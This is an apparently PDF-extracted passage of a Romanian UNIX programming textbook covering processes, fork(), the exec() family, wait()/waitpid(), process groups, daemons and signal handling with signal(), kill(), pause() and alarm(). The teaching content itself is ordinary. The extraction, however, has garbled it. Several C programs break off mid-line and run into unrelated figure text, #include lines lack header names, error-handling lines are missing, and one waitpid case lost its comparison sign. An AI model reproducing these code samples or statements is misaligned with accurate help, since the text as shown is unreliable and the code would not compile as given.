pipe, fifo, memorii partajate, cozi de mesaje, semafoare etc.) deschise de către proces. 

Accesul la tabelă se face printr-un întreg, numit descriptor de fişier (handle). 

48


• Zona variabilelor de mediu conţine informaţii de legătură cu sistemul de operare. Ele sunt 

reprezentate prin string-uri terminate cu zerouri, sub forma nume=valoare. 

• prioritatea este un număr între 1 şi 39. 

• semnalele disponibile sunt numere între 1 şi 32. 

• umask este o configuraţie de biţi ce indică drepturile de acces implicit nepermise la crearea 

de fişiere. 

Orice proces este executat secvenţial, iar mai multe procese pot să ruleze în paralel (între 

ele). De cele mai multe ori, execuţia în paralel se realizează alocând pe rând procesorul câte unui 

proces (pe un sistem monoprocesor). Deşi la un moment dat se execută un singur proces, în decurs 

de o secundă, de exemplu, pot fi executate porţiuni din mai multe procese. Din această schemă 

rezultă că un proces se poate găsi, la un moment dat, în una din următoarele stări : 

• În execuţie 

• Gata de execuţie 

• Blocat 

• (Inactiv) 

Procesul se găseşte în execuţie atunci când procesorul îi execută instrucţiunile. Gata de execuţie 

este un proces care, deşi are toate resursele necesare să îşi continue execuţia, este lăsat în aşteptare 

din cauza că un alt proces este în execuţie la momentul respectiv. De asemenea, un proces poate fi 

blocat din două motive: el îşi suspendă execuţia în mod voit sau procesul efectuează o operaţie în 

afara procesorului, mare consumatoare de timp (cum e cazul operaţiilor de intrare-ieşire - acestea 

sunt mai lente şi între timp procesorul ar putea executa părţi din alte procese). 

Din perspectiva programatorului, sistemul de operare UNIX pune la dispoziţie un mecanism elegant 

şi simplu pentru crearea şi utilizarea proceselor. Orice proces trebuie creat de către un alt proces. 

Există o singură excepţie de la această regulă, şi anume procesul init, care este procesul iniţial 

(procesul 1), creat la pornirea sistemului de operare şi care este responsabil pentru crearea 

următoarelor procese. 

Fiecare proces în Unix are asociat un identificator unic numit identicator de proces, 

prescurtat PID. Pentru identificator se utilizează în continuare prescurtarea ID. PID este un număr 

pozitiv atribuit de sistemul de operare fiecărui proces nou creat. Un proces poate să determine PIDul 

său folosind apelul sistem getpid(). Cum PID-ul unui proces este unic el nu poate fi schimbat, dar 

se poate refolosi când procesul nu mai există. 

Un proces activ poate genera un nou proces, acesta la rândul său poate genera un al treilea 

proces ş.a. Procesul lansat în execuţie de câtre un alt proces se numeşte proces fiu, în timp ce 

procesul care l-a lansat în execuţie se numeşte proces tată. Un proces este generat în urma unui apel 

al directivei fork(), care generează de fapt o copie a procesului original. Ambele procese (părinte şi 

fiu) îşi continuă execuţia de la instrucţiunea ce succede apelul fork(), cu o singură diferenţă: codul 

întors de directiva fork() este zero pentru procesul fiu şi respectiv o valoare nenulă (valoarea 

identificatorului procesului fiu), pentru procesul părinte. 

Sintaxa de apel a directivei fork() este: 


pid_t fork() 

Prin această funcţie sistem, procesul apelant (părintele sau tatăl) creează un nou proces (fiul) care 

va fi o copie fidelă a părintelui. Noul proces va avea propria lui zonă de date, propria lui stivă, 

propriul lui cod executabil, toate fiind copiate de la părinte în cele mai mici detalii. Rezultă că 

variabilele fiului vor avea valorile variabilelor părintelui în momentul apelului funcţiei fork(), iar 

49


execuţia fiului va continua cu instrucţiunile care urmează imediat acestui apel, codul fiului fiind 

identic cu cel al părintelui. Cu toate acestea, în sistem vor exista din acest moment două procese 

independente, (deşi identice), cu zone de date şi stivă distincte. Orice modificare făcută, prin 

urmare, asupra unei variabile din procesul fiu, va rămâne invizibilă procesului părinte şi invers. 

Procesul fiu va moşteni de la părinte toţi descriptorii de fişier deschişi de către acesta, aşa că orice 

prelucrări ulterioare în fişiere vor fi efectuate în punctul în care le-a lăsat părintele. 

Deoarece codul părintelui şi codul fiului sunt identice şi pentru că aceste procese vor rula în 

continuare în paralel, trebuie făcută clar distincţia, în interiorul programului, între acţiunile ce vor fi 

executate de fiu şi cele ale părintelui. Cu alte cuvinte, este nevoie de o metodă care să indice care 

este porţiunea de cod a părintelui şi care a fiului. Acest lucru se poate face simplu, folosind valoarea 

returnată de funcţia fork(). 

Prin urmare, o posibilă schemă de apelare a funcţiei fork() ar fi: 

... 

if( ( pid=fork() ) < 0) 

{ 

perror("Eroare"); 

exit(1); 

} 

if(pid==0) 

{ 

/* codul fiului */ 

... 

exit(0) 

} 

/* codul părintelui */ 

... 

In programul 2 vom descrie o primă utilizare a lui fork(). 

Înainte de acest program, introducem rutina numită err_sys, în programul (programul sursă 1). 

//afiseaza textul "text", eroarea aparuta si termina programul 

int err_sys(char *text) { 

perror(text); 

exit(1); 

}//err_sys 

Programul 1. Sursa err_sys.c 

Rutina err_sys este apelată în cazul unor apeluri de funcţii care eşuează, întorcând, de exemplu, un 

cod de eroare sub forma unui întreg negativ. In acest caz, rutina err_sys afişează un text al 

utilizatorului şi un text corespunzător erorii apărute, după care încheie execuţia programului. 

#include "err_sys.c" 

main(){ 


int pid,i; 

printf("\nInceputul programului:\n"); 

if ((pid=fork())


} 


printf("Sfarsit FIU\n"); 

exit(0); 

} 

else if (pid>0){//Suntem in parinte 

printf("Am creat FIUL(%d)\n",pid); 

for (i=1;i



Mostenit 

Absoluta 

Calea spre 

executabil 

Argumentele Argumentele Argumentele 

Figura 3.1 Criterii de implementare ale apelului exec() 

Conform acestor criterii sunt posibile maximum 8 tipuri de apeluri exec() dintre care s-au 

implementat numai 6. Variantele posibile de apeluri exec() conform criteriilor pe care le satisfac 

sunt apelurile: execl(), execlp(), execv(), execvp(), execle(), execve() (cele din fig. 3.1.) 

Prototipurile acestor apeluri exec() sunt: 

int execv (char *cale, char **argv); 

int execl (char *cale, char *arg0,…,char *argn,NULL); 

int execve(char *cale, char **argv, char**envp); 

int execle(char *cale, char *arg0,…,char *argn,NULL,char **envp); 

int execvp(char *fişier, char **argv); 

int execlp(char* fişier, char *arg0,…,char *argn,NULL); 

Semnificaţia parametrilor folosiţi este următoarea: 

fişier - numele fişierului care va fi căutat în directoarele din variabila de mediu PATH. 

cale - se precizează calea completă spre fişierul de executat. 

Primul argument coincide, după caz, cu argv[0] sau arg0. Excepţiile de la această regulă sunt cu 

totul speciale. 

Privind cu atenţie aceste funcţii, se observă o serie de elemente comune: 

• execlp, execl, execle primesc argumentele ca parametri terminaţi prin pointerul NULL. 

• execvp, execv, execve primesc tablouri de pointeri la argumente. 

• execlp şi execvp primesc un nume de fişier, care urmează să fie convertit în cale cu 

informaţiile din variabila de mediu PATH. 

• execle şi execve sunt singurele care primesc şi tablouri de pointeri la variabilele de mediu. 

Programul lansat prin exec() moşteneşte de la procesul părinte, pe care-l suprapune: 

• PID, PPID, GID, PGID, timpul semnalului de alarmă, directorul rădăcină, directorul curent, 

masca de fişier umask, UID, GID, fişierele blocate. 

• Atributele EUID şi EGID pot fi schimbate. 

Relativa 

Mediul Mediul 

Mostenit 

Nou Nou 

Vector Lista Vector Lista Vector Lista 

execv execl execve execle execvp execlp 

Nu 

exista 

52


In fig. 3.2 se face un sumar a ceea ce se moşteneşte în urma unui fork() şi în urma unui exec(). 

Atribut Moştenit prin fork Reţinute la exec 

PID Nu Da 

UID Da Da 

EUID Da Depinde de bitul “setuid” 

Datele statice Copiate Nu 

Stiva Copiată Nu 

Heap Copiată Nu 

Text (cod) Partajat Nu 

Descriptorii fişierelor Copiate; poziţia curentă De regulă Da. Se poate 

deschise 

în fişiere partajată 

evita prin apel “fcntl” 

Mediul Da Depinde de tipul exec 

Directorul curent Da Da 

Tratarea semnalelor Copiată Parţial 


Figura 3.2 Atribute moştenite prin fork şi exec 

Prezentăm mai jos, în programele 3 şi 4, două exemple de folosire a apelului exec(). Programele nu 

fac altceva decât rezumatul unui director apelând pentru asta programul extern /bin/ls. Ca şi 

parametri pentru apelul extern se folosesc argumentele primite în linia de comandă de către 

programul apelator şi preluate de către funcţia main(). 


main(int argc,char *argv[]) { 

printf("\nTest Execv\n"); 

if(execv("/bin/ls",argv)



pid_t waitpid(pid_t pid, int *status, int flags) 

Apelul wait() suspendă execuţia programului până la terminarea unui proces fiu. Dacă fiul s-a 

terminat înainte de apelul wait(), apelul se termină imediat. La terminare, toate resursele ocupate de 

procesul fiu sunt eliberate. Modul de terminare este depus în locaţia de 16 biţi punctată de status. 

Situaţiile de terminare sunt ilustrate în fig. 2.3, a,b,c: 

cod de retur 00000000 cod de retur core nr.semnal nr. semnal 01111111 

a) b) c) 

Figura 3.3 Conţinuturi ale întregului status, în urma unui wait 

Semnificaţia celor trei situaţii este: 

a) un proces fiu face exit() 

b) un proces fiu a recepţionat un semnal de terminare 

c) un proces a fost oprit în cursul depanării 

Parametrul status este folosit pentru evaluarea valorii returnate, folosind câteva macro-uri definite 

special (vezi paginile de manual corespunzătoare funcţiilor wait() şi waitpid()). Este obligatoriu ca 

starea proceselor să fie preluată după terminarea acestora, astfel că funcţiile din această categorie nu 

sunt opţionale. 

Apelul waitpid() pune programul în aşteptare până la apariţia unuia dintre următoarele evenimente: 

• terminarea procesului precizat prin argumentul pid; 

• recepţionarea unui semnal de terminare a procesului curent; 

• apariţia unui semnal cu efect de ieşire din starea de aşteptare. 

Semnificaţiile valorilor argumentului pid sunt: 

• < -1 - se aşteaptă terminarea tuturor proceselor fiu ale caror GID este egal cu valoarea absolută 

a parametrului pid. 

• -1- se aşteaptă terminarea tuturor fiilor. 

• 0 - se aşteaptă terminarea tuturor proceselor fiu ala căror GID este egal cu GID-ul părintelui 

• 0 - se aşteaptă procesul cu PID-ul specificat prin parametrul pid. 

Valorile argumentului flags depind de sistemul de operare şi pot fi găsite în manualele sistemului 

respectiv. El poate avea valorile: 

Constanta Descriere 

WNOHANG Apelul nu se blocheaza daca fiul specificat prin pid nu este 

disponibil. In acest caz valoarea de retur este 0. 

WUNTRACED Daca implementarea permite controlul lucrarilor, starea 

fiecarui proces fiu oprit si neraportata este intoarsa. 

Macroul WIFSTOPPED determina daca valoarea intoarsa 

corespunde unui proces fiu oprit. 

Argumentul poate fi şi 0 sau rezultatul unui SAU între constantele simbolice WNOHANG şi 

WUNTRACED. 

54


Pentru a analiza starea în care s-a terminat un proces fiu există trei macrouri excluse mutual, toate 

prefixate de WIF şi definite în fisierul sys/wait.h. Pe lângă acestea, există alte macrouri pentru 

determinarea codului de exit, număr semnal, etc. Acestea sunt ilustrate mai jos: 


Macro Descriere 

WIFEXITED( status) Adevarat daca informatia de stare, status, provine 

de la un proces terminat normal. In acest caz se 

poate folosi: WEXITSTATUS( status) pentru a extrage 

octetul mai putin semnificativ. 

WIFSIGNALED(status) Adevarat daca informatia de stare, status, provine 

de la un proces terminat anormal. In acest caz se 

poate folosi: WTERMSIG( status) pentru a extrage 

numarul semnalului. 

In SVR4 si 4.3+BSD macroul WCOREDUMP( status) este 

adevarat daca s-a generat fisier core. 

WIFSTOPPED(status) Adevarat daca informatia de stare, status, provine 

de la un proces temporar oprit. In acest caz se 

poate folosi: WSTOPSIG( status) pentru a extrage 

numarul semnalului care a oprit procesul. 

Dacă procesul fiu se termină înaintea procesului părinte, nucleul trebuie să păstreze anumite 

informaţii ( pid, starea de terminare, timp de utilizare CPU) asupra modului în care fiul s-a terminat. 

Aceste informaţii sunt accesibile părintelui prin apelul wait() sau waitpid(). În terminologie Unix un 

proces care s-a terminat şi pentru care procesul părinte nu a executat wait() se numeşte zombie. În 

această stare, procesul nu are resurse alocate, ci doar intrarea sa în tabela proceselor. Nucleul poate 

descărca toată memoria folosita de proces şi închide fişierele deschise. Un proces zombie se poate 

observa prin comanda Unix ps care afişează la starea procesului litera 'Z'. 

Prin urmare, o posibilă schemă de apelare a funcţiilor fork() şi wait() ar fi: 

... 

if( ( pid=fork() ) < 0) 

{ 

perror("Eroare"); 

exit(1); 

} 

if(pid==0) 

{ 

/* codul fiului */ 

... 

exit(0) 

} 

/* codul părintelui */ 

... 

wait(&status) 

Un exemplu simplu: 

#include 

#include 

#include 

int main() 

{ 

if (fork() == 0) 

{ /* fiu */ 

printf("Proces fiu id=%d\n", getpid()); 

exit(1); 

} 

55


else 

{ /* parinte */ 

int pid_fiu, cod_term; 

pid_fiu= wait(&cod_term); 

printf("Tata: sfirsit fiul %d cu valoarea %d\n", pid_fiu, cod_term); 

} 

} 

Programul 5. Sursa Wait-Fiu.c 

Din punct de vedere al procesului apelant, un apel fork()-exec() este similar cu o instrucţiune 

call subroutine, în timp ce un apel al directivei exec() este similar cu instrucţiunea go to. 

Consturcţii de directive sau alternative la anumite directive mai sus menţionate o reprezintă 

funcţiile system() şi vfork(). 

Sintaxa de apel a directivei system() este: 


int system(const char *cmd) 

Aceasta lansează în execuţie un program de pe disc, folosind în acest scop un apel fork(), urmat de 

exec(), împreună cu waitpid() în parinte, şi se foloseşte, în general, pentru executarea unor comenzi 

de sistem din cadrul unei aplicaţii. 

Sintaxa de apel a directivei vfork() este: 

pid_t vfork() 

Creează un nou proces, la fel ca fork(), dar nu copiază în întregime spaţiul de adrese al părintelui în 

fiu. Este folosit în conjuncţie cu exec(), şi are avantajul că nu se mai consumă timpul necesar 

operaţiilor de copiere care oricum ar fi inutile dacă imediat după aceea se apelează exec() (oricum, 

procesul fiu va fi suprascris cu programul citit de pe disc). 

Alte funcţii utile pentru lucrul cu procese sunt: 

pid_t getpid() - returnează PID-ul procesului curent; 

pid_t getppid() - returnează PID-ul părintelui procesului curent; 

uid_t getuid() - returnează identificatorul utilizatorului care a lansat procesul curent; 

gid_t getgid() - returnează identificatorul grupului utilizatorului care a lansat procesul curent; 

pid_t getpgrp() - returnează ID grupului de procese; 

Un proces poate să determine PID-ul părintelui prin apelul getppid(). PID-ul procesului 

părinte nu se poate modifica. Sistemul de operare Unix ţine evidenţa proceselor într-o structură de 

date internă numită tabela de procese. Ea are o intrare pentru fiecare proces din sistem. Lista 

proceselor din tabela de procese poate fi obţinută prin comanda ps. 

Uneori se doreşte crearea unui subsistem ca un grup de procese înrudite în locul unui proces 

singular. De exemplu, un sistem complex de gestiune al unei baze de date poate fi împărţit în câteva 

procese pentru a "câştiga" operaţii de I/O cu discul. Astfel, pe lângă ID asociat unui proces, care 

permite identificarea individuală a fiecăruia, fiecare proces are şi un ID de grup de procese, 

prescurtat (PGID), care permite identificarea unui grup de procese. PGID este moştenit de procesul 

fiu de la procesul părinte. Contrar PID-ului, un proces poate să-şi modifice PGID, dar numai prin 

crearea unui nou grup. Acest lucru se realizează prin apelul sistem setpgrp(). 

int setpgrp(); 

56


setpgrp() actualizează PGID-ul procesului apelant la valoarea PID-ului său şi întoarce noul PGID. 

Procesul apelant părăseşte astfel vechiul grup devenind leaderul propriului grup urmând a-şi crea 

procesele fiu, care să formeze grupul. Deoarece procesul apelant este primul membru al grupului şi 

numai descendenţii săi pot să aparţină grupului (prin moştenirea PGID), el este referit ca 

reprezentantul (leaderul) grupului. 

Deoarece doar descendenşii leaderului pot fi membri ai grupului există o corelaţie între grupul de 

procese şi arborele proceselor. Fiecare leader de grup este rădăcina unui subarbore, care după 

eliminarea rădăcinii conţine doar procese ce aparţin grupului. Dacă nici un proces din grup nu s-a 

terminat lăsând fii care au fost adoptaţi de procesul init, acest subarbore conţine toate procesele din 

grup. Un proces poata determina PGID sau folosind apelul sistem getpgrp(); Apelul întoarce 

PGID procesului apelant. Deoarece PID-ul leaderului este acelaşi cu PGID-ul, getpgrp() identifică 

leaderul. 

Un proces poate fi asociat unui terminal, care este numit terminalul de control asociat 

procesului. Acesta este moştenit de la procesul părinte la crearea unui nou proces. Un proces este 

deconectat (eliberat) de terminalul său de control la apelul setpgrp(), devenind astfel un leader de 

grup de procese (nu se închide terminalul). Ca atare, numai leaderul poate stabili un terminal de 

control, devenind procesul de control pentru terminalul în cauza. 

Raţiunea existentei unui grup este legată de comunicarea prin semnale. În mod uzual, procesele din 

acelaşi grup sunt conectate logic în acest fel. De exemplu, managerul unei baze de date multiproces 

este constituit dintr-un proces master şi câteva procese subsidiare. Pentru a face din suita proceselor 

bazei de date un grup de procese, procesul master apelează setpgrp() înainte de a crea procesele 

subsidiare. 

Un proces care nu este asociat cu un terminal de control este numit daemon. Spoolerul de 

imprimantă este un exemplu de astfel de proces. Un proces daemon este identificat în rezultul 

afişării comenzii ps prin simbolul ? plasat în coloana TTY. 

3.2 Sincronizarea proceselor în UNIX 

Sincronizarea proceselor în UNIX se poate realiza în doua moduri: 

controlată de către sistemul de operare sau controlată de către utilizator. În primul caz, mecanismul 

clasic utilizat este cel de conductă de comunicaţie (pipe). Sincronizarea controlată de utilizator se 

realizează în principal prin intermediul evenimentelor. 


3.2.1 Evenimente 

Evenimentul este conceptul de bază în sincronizarea şi planificarea proceselor UNIX. El 

reprezintă modalitatea de precizare a momentului în care un proces, anterior blocat (în aşteptarea 

terminării unei operaţii de intrare/ieşire cu terminalul, a eliberării unei zone tampon sau a unui inod), 

poate trece în starea gata de execuţie (condiţia pe care o aşteaptă s-a îndeplinit). 

Blocarea proceselor se face prin intermediul unei funcţii interne, numită sleep (a nu se 

confunda cu funcţia de bibliotecă cu acelaşi nume), apelată cu un parametru care reprezintă 

parametrul principal. În momentul îndeplinirii condiţiei de deblocare, nucleul, prin intermediul 

funcţiei wakeup, trece toate procesele, care aşteptau acea condiţie, în starea gata de execuţie. 

Evident, numai unul dintre acestea se va executa efectiv, celelalte trecând din nou în starea blocat. 

Evenimentele sunt reprezentate prin numere întregi, alese prin convenţie, astfel încât să fie 

chiar adrese virtuale, cunoscute de nucleul UNIX-ului; semnificaţia lor este ca sistemul de operare 

se aşteaptă ca anumite evenimente să se mapeze pe anumite adrese ( de exemplu: evenimentul de 

terminare a unui proces fiu este reprezentat de adresa intrării corespunzătoare a tatălui său din 

tabela de procese). 

În afara de producerea propriu-zisă a unui eveniment, acest mecanism nu permite şi 

transmiterea altor informaţii, cu evenimentul nefiind asociată memorie; el există doar în momentul 

în care este folosit. 

57


Dezavantajul acestei abordări constă în faptul că sincronizarea nu se poate face în funcţie de 

o anumită cantitate de informaţie. De exemplu, toate procesele care au făcut cerere de memorie vor 

fi planificate pentru execuţie la eliberarea unei zone, indiferent de dimensiunea acesteia, deşi zona 

eliberată s-ar putea să nu fie suficientă pentru multe dintre ele şi deci să fie nevoite să treacă din 

nou în aşteptare (în realitate, exista un singur proces care cere memorie, swapper-ul, iar el va fi 

activat de către nucleu la eliberarea unei zone de memorie chiar dacă aceasta nu este suficientă). 

De asemenea, dacă un proces se blochează în aşteptarea unui eveniment care s-a produs deja, nu 

există nici o posibilitate de a specifica acest lucru prin intermediul evenimentelor. 

În cadrul sincronizării între procese prin intermediul evenimentelor, se pot identifica mai 

multe situaţii: sincronizarea prin semnale, sincronizarea între un proces tată şi fii săi, sincronizarea 

prin intermediul unor funcţii de sistem. 


3.2.2 Semnale 

Apariţia unor evenimente în sistem este semnalată în UNIX fie de către nucleu, prin 

intermediul funcţiei wakeup, fie prin intermediul semnalelor. Acestea din urmă sunt implementate 

cu ajutorul unor biţi, memoraţi în tabele de procese şi care pot fi setaţi fie de către nucleu (în cazul 

producerii unor evenimente legate de hardware), fie de către utilizator (prin apelul directivei kill). 

Nucleul verifică primirea unui semnal (setarea bitului corespunzător acestuia) la trecerea din 

mod sistem în mod utilizator, precum şi înaintea şi după blocarea unui proces. Tratarea semnalelor 

se face în contextul procesului care le primeşte. 

În general, evenimentele ce generează semnale se împart in 3 categorii: erori, evenimente 

externe si cereri explicite. 

• eroare înseamnă că programul a făcut o operaţie invalidă şi nu poate să-si continue execuţia. Nu 

toate erorile generează semnale (de exemplu: erori în operaţiile I/O; apelul de funcţie respectiv 

va întoarce un cod de eroare, de obicei -1), ci doar acele erori care pot apare în orice punct al 

programului: împarţirea la zero, accesarea unei adrese de memorie invalide, etc. 

• Evenimentele externe sunt în general legate de operaţiile I/O sau de acţiunile altor procese, cum 

ar fi: sosirea datelor (pe un socket sau un pipe, de exemplu), expirarea intervalului de timp setat 

pentru un timer (o alarmă), terminarea unui proces fiu, sau suspendarea/terminarea programului 

de către utilizator (prin apăsarea tastelor ^Z sau ^C). 

• cerere explicită înseamnă generarea unui semnal de către un proces, prin apelul funcţiei de 

sistem kill(), a cărei sintaxă o vom discuta mai jos. 

Important: semnalele pot fi generate sincron sau asincron. Un semnal sincron este un semnal 

generat de o anumită acţiune specifică în program şi este livrat (dacă nu este blocat) în timpul acelei 

acţiuni. Evenimentele care generează semnale sincrone sunt: erorile şi cererile explicite ale unui 

proces de a genera semnale pentru el însuşi. Semnalele asincrone sunt generate de evenimente din 

afara zonei de control a procesului care le recepţionează, adică aceste semnale sunt recepţionate, în 

timpul execuţiei procesului destinatar, la momente de timp ce nu pot fi anticipate. Evenimentele 

care generează semnale asincrone sunt: evenimentele externe, precum şi cererile explicite ale unui 

proces de a genera semnale destinate altor procese. 

Semnalele nu transferă nici o cantitate de informaţie proceselor, ci sunt forme de 

sincronizare (funcţie de tipul semnalului, 19 standard în Unix V). Când un semnal ajunge la un 

proces, el este întrerupt din activitatea curentă şi obligat să răspundă. Acesta are trei posibilităţi de 

comportare: 

a) procesul poate ignora semnalul, continuându-şi activitatea (SIGKILL nu poate fi ignorat). 

Sistemul îşi păstrează posibilitatea (dreptul) de a termina procesul. 

b) procesul poate lăsa sistemul să execute acţiunea implicită (valabil pentru toate semnalele de 

terminare a proceselor, excepţie făcând doar SIGCLD şi SIGPWR care sunt explicit ignorate). 

c) procesul îşi poate defini o procedură proprie de tratare a semnalului, care va fi automat lansată 

la sosirea acestuia (handler). 

58


Setarea unuia dintre cele trei comportamente se face cu ajutorul apelului primitivelor signal() sau 

sigaction(). 

Indiferent de modul cum reacţionează programul la un anumit semnal, după terminarea 

acţiunii, dacă nu era ignorat, semnalul este resetat pentru viitor la acţiunea implicită, excluzând 

semnalele SIGKILL şi SIGTRAP care sunt generate foarte des şi ar fi ineficientă resetarea lor de 

fiecare dată. Apelul signal() comunică sistemului care este acţiunea dorită de proces pentru un 

anumit semnal. 


#include 

void (* signal(semnal,functie))(int); 

int semnal; 

void (* functie)(int); 

Parametrul semnal reprezintă semnalul referit şi functie funcţia de tratare a lui. Funcţiile de 

tratare nu întorc valori şi au ca parametru unic numărul semnalului sosit. Există 2 valori implicite 

pentru funcţia de tratare, SIG_IGN (ignorarea semnalului de către proces) şi SIG_DFL (resetarea 

funcţiei la valoarea implicită). Apelul signal întoarce vechea funcţie de tratare (poate fi SIG_IGN 

sau SIG_DFL) sau -1 în cazul când ceva nu este corect (număr semnal incorect, se încearcă 

ignorarea lui SIGKILL, etc.). Această valoare se defineşte: 

#define BADSIG (void (*)(int))-1 

Valoarea returnată de apelul signal() poate fi folosită pentru a restaura starea anterioară 

apelului, după ce se iese din zona critică. Programul de mai jos arată cum putem ignora semnalele 

SIGINT şi SIGQUIT într-o regiune a programului în care este periculos să se termine anormal 

(funcţia ignoraint() şi refaint()). 

#include 

#include 

#include 

#include 

static void (* intvechi)(int),(* quitvechi)(int); 


void ignoraint () 

{ 

static int first=1; 

if (first) /* doar prima data salvam starea */ 

{ 

first=0; 

intvechi=signal(SIGINT,SIG_IGN); 

quitvechi=signal(SIGQUIT,SIG_IGN); 

if (intvechi==BADSIG || quitvechi==BADSIG) 

perror("signal"); 

} 

else 

if(signal(SIGINT,SIG_IGN)==BADSIG||signal(SIGQUIT,SIG_IGN)==BADSIG) 

perror ("signal"); 

} 

void refaint() 

{ 

if(signal(SIGINT,intvechi)==BADSIG||signal(SIGQUIT,quitvechi)==BASSIG) 

perror("signal"); } 

void main(argc,argv) /* inlocuieste în fisierul de pe linia */ 

/* de comanda caracterele mici cu mari */ 

int argc; 

char **argv; 

59


{ 

FILE *in, *out; 

char buffer[256]; // buffer comand_ UNIX 

char *p; 

// parte de cod care poate rula cu intreruperile activate 

if (argc!=2) 

{ 

printf("Argumente gresite !\n"); 

exit(1); 

} 

in=fopen(argv[1],"r");//atribut read 

out=fopen("temporar","w"); 

if (!in || !out) 

{ 

printf("Nu se pot deschide fisierele !\n\a"); 

exit(1); 

} 

while(fgets(buffer,256,in)) 

{ 

p=buffer; 

while(*p) //converteste bufferul la caractere mari 

{ 

*p=toupper(*p); 

p++; 

} 

fputs(buffer,out); 

} 

fclose(in); 

fclose(out); 

ignoraint(); 

/* sectiune critica */ 

unlink(argv[1]); 

rename("temporar",argv[1]); 

refaint(); 

/* terminare sectiune critica */ 

} 

Programul 6. Sursa Ignora_Sig.c 

Apelurile definite într-un proces se păstrează şi în fiu în urma apelului fork(). În cazul 

apelului exec() se păstrează doar semnalele setate pe SIG_IGN şi SIG_DFL. Cele care au ataşata o 

funcţie a utilizatorului se resetează la valoarea SIG_DFL (în cazul exec se încarcă un nou program 

şi segmentul de cod al procesului este modificat şi evident vechile rutine de tratare a semnalelor ori 

nu se regăsesc ori sunt la alte adrese). 

Semnalele sosite către un proces nu sunt introduse în nici o coadă de aşteptare (dacă au fost 

ignorate s-au pierdut). Singura excepţie este SIGCLD care aşteaptă până procesul părinte execută 

apelul wait() pentru a lua cunoştinţă de terminarea procesului fiu (uneori fiul se termină înainte ca 

părintele să execute wait()). Dacă semnalul n-ar fi memorat, procesul părinte ar fi blocat până la 

terminarea unui alt fiu! SIGCLD nu este memorat în cazul în care părintele a setat explicit pe 

valoarea SIG_IGN rutina de tratare a semnalului. Datorită faptului că semnalele ignorate se pierd, 

această formă de sincronizare (comunicare) nu este prea folosita. În cazul când procesul are de 

executat mai multe operaţii la terminare (ştergerea fişierelor temporare, restaurarea unui fişier 

incomplet prelucrat) procesul trebuie să intercepteze semnalele SIGHUP, SIGINT şi SIGTERM şi 

pe ele să execute operaţiile de curăţire. De asemenea, pe parcursul dezvoltării unei aplicaţii, 

semnalul SIGQUIT nu trebuie interceptat, pentru a putea termina procesul cu CTRL \ însoţit de 

core dump. Dar în cazul unui proces care lucrează în background (lansat cu &) acesta rulează cu 

semnalele SIGINT şi SIGQUIT implicit ignorate, pentru a nu fi întrerupt accidental de apăsarea 

tastelor de întrerupere. În acest caz rutina de tratare a acestor semnale trebuie să rămână SIG_IGN. 

Rutina setsig() din exemplul de mai jos setează semnalul doar în situaţia când nu a fost anterior 

ignorat. Există şi o rutină de terminare anormală a unui proces. 


#include 

60



#include 

#include 


void seteaza_semnal(semnal,functie) 

int semnal; 

void (*functie)(int) 

{ 

void (*sigvechi)(int); 

sigvechi=signal(semnal,SIG_IGN); 

if(sigvechi==BADSIG) 


else 

if(sigvechi==SIG_IGN) 

return; 

else 

if(sigvechi!=SIG_DFL) 

{ 

printf("Semnalul era deja captat!\n"); 

exit(1); 

} 

if(signal(semnal,functie)==BADSIG) 


} 

void capteaza_semnale() 

{ 

void curata(); 

seteaza_semnal(SIGHUP,curata); 

seteaza_semnal(SIGINT,curata); 

seteaza_semnal(SIGQUIT,curata); 

seteaza_semnal(SIGTERM,curata); 

} 

void curata(semnal) 

int semnal; 

{ 

if(signal(semnal,SIG_IGN)==BADSIG) 


if(unlink("temporar")==-1) 

perror("unlink"); 

switch(semnal) 

{ 

case SIGHUP: 

fprintf(stderr,"Hangup \n"); 

break; 

case SIGINT: 

fprintf(stderr,"Interrupt \n"); 

break; 

case SIGQUIT: 

fprintf(stderr,"Quit \n"); 

break; 

} 

exit(1); 

} 

int main(argc,argv) 

int argc; 

char **argv; 

{ 

FILE *file; 

int i; 

if(argc!=2) 

{ 

printf("Argumente gresite !\n\a"); 

exit(1); 

} 

61


capteaza_semnale(); 

file=fopen("temporar","w"); 

if(!file) 

{ 

printf("Nu pot deschide fisierul temporar !\n"); 

exit(1); 

} 

for(i=0;i


char buffer[256]; 

if(signal(SIGINT,SIG_IGN)!=SIG_IGN) 

{ 

if(setjmp(jmpbuf)!=0) 

printf("\n intrerupere \n"); 

if(signal(SIGINT,jumper)==BADSIG 


} 

bucla_principala(); 

} 

Programul 8. Sursa Setjmp_Sig.c 


Se poate trimite un semnal către un proces cu ajutorul apelului kill(). 

int kill(pid,semnal); 

int pid; 

int semnal; 

Parametrul pid este numărul de identificare al procesului, iar semnal reprezintă numărul 

semnalului pe care vrem să-l trimitem. Dacă pid=0, semnalul va fi trimis tuturor proceselor din 

acelaşi grup cu procesul care lansează apelul. Această proprietate poate fi folosită pentru a termina 

toate procesele care rulează în background lansate de la un terminal. Dacă pid = -1, semnalul este 

trimis către toate procesele care au uid-ul real (userid) egal cu cel al proprietarului procesului care a 

lansat apelul. Aceasta foloseşte la terminarea tuturor proceselor care aparţin unui user indiferent de 

grupul din care fac parte (câte terminale). Dacă supervisorul execută kill cu pid = -1, toate 

procesele 

din sistem vor fi terminate cu excepţia lui 0 şi 1 (init, swap). Dacă pid < -1, semnalul este trimis 

tuturor proceselor care au numărul de grup egal cu valoarea absolută a lui pid. În practică nu se 

foloseşte kill ca apel sistem, ci ca comandă. 

Un proces poate sa-şi întrerupă activitatea cu pause() în aşteptarea unui semnal: 

void pause() 

La ieşirea din pause() procesul nu poate şti ce semnal a cauzat intreruperea, iar errno este 

setata pe valoarea EINTR. Cea mai utilă folosire a acestui apel sistem este aşteptarea unui semnal 

de alarmă setat de apelul alarm(). 

unsigned alarm(secunde); 

unsigned secunde; 

Parametrul reprezintă numărul de secunde după care procesul porneşte semnalul SIGALRM. 

Valoarea rezultată este vechea valoare a ceasului (pentru fiecare proces este un ceas, un nou apel al 

funcţiei alarm distruge vechea valoare). Dacă procesul se răzgândeşte între timp el poate inhiba 

semnalul prin alarm(0). 

#include 

#include 

#define BADSIG (void(*)(int)) -1 

void sleep2(secunde) 

int secunde; 

{ 

if(signal(SIGALRM,nimic)==BADSIG) 


alarm(secunde); 

pause(); 

} 

void nimic(semnal); 

63



int semnal; 

main() 

{ 

printf("Se asteapta 5 secunde !\n"); 

sleep2(5); 

printf("Thank you !\n"); 

} 

Programul 9. Sursa Alarm_Sig.c 

Tabelul semnalelor definite în UNIX V (aşa cum este definit în /usr/include/signal.h): 

SIGHUP(1) Hangup. Acest semnal este trimis, atunci când un terminal este oprit (conexiunea este 

